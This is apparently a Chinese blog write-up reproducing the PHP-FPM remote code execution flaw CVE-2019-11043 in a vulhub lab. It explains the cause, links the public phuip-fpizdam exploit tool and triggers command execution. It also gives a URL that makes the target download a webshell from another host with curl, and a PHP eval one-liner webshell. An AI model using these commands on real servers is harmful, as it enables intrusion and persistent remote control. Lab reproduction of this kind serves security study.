PHP-FPM远程命令执行(CVE-2019-11043)getshell——漏洞复现

一、漏洞原理

漏洞主要由于 PHP-FPM 中 sapi/ fpm/ fpm/ fpm_main.c 文件内的 env_path_info 下溢导致,攻击者可以使用换行符 %0a 破坏 Nginx 中 fastcgi_split_path_info 对应的正则表达式,导致传递给 PHP-FPM 的 PATH_INFO 值为空,从而触发该漏洞,通过发送特制的URL请求,在一些特殊的配置情况下会导致任意代码执行。(当nginx配置不当时,会导致php-fpm远程任意代码执行。)

二、环境搭建

使用vulhub搭建
在这里插入图片描述

三、漏洞复现

访问目标网站,如下图所示
在这里插入图片描述
接下来进行攻击利用,攻击工具下载地址:https://github.com/neex/phuip-fpizdam,但是该工具需要go语言环境,所以得先安装go语言环境。
我在kali上安装的go语言环境,安装教程参考链接:https://blog.csdn.net/u013175604/article/details/84726253
安装之后,编译下载的工具,成功编译后会出现一个phuip-fpizdam文件
在这里插入图片描述
编译的时候有可能会报错,如下图所示:
在这里插入图片描述
解决方法,参考链接:https://blog.csdn.net/weixin_40412037/article/details/111225967

phuip-fpizdam工具成功编译后,可以进行攻击利用
在这里插入图片描述
一个Webshel​​l是在PHP-FPM的后台编写的,请访问http://192.168.120.129:8080/index.php?a=id以触​​发RCE:

在这里插入图片描述
但是由于这样的webshell没有图形化界面,所以接下来上传一个冰蝎工具自带的的shell,使用冰蝎进行连接管理。

在本机使用phpstudy搭建一个apache网站,放一个php的shell文件为shell.txt,接下来使用一下命令,让服务器192.168.120.129主动去下载shell.txt文件并且重命名为shell.php

http://192.168.120.129:8080/index.php?a=curl%20-o%20shell.php%20http://192.168.120.1/shell.txt
在这里插入图片描述
使用冰蝎成功连接。
在这里插入图片描述
在测试过程中,使用linux写文件命令,写入php一句话木马echo ‘123<?php @eval($_POST['x']); ?>’ >a.php,虽然是可以成功写入,代码没有出现一点问题,而且还可以成功解析,但是菜刀和冰蝎都不能成功连接。暂时不知道原因。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_40412037/article/details/111224046
今日推荐